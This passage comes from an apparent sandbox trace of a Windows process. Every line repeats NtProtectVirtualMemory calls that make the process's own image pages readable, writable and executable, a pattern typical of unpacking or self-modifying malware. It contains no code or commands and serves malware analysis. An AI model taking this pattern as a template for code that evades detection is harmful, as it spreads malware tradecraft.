BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.174] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.726] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.909] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.949] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.174] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.771] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 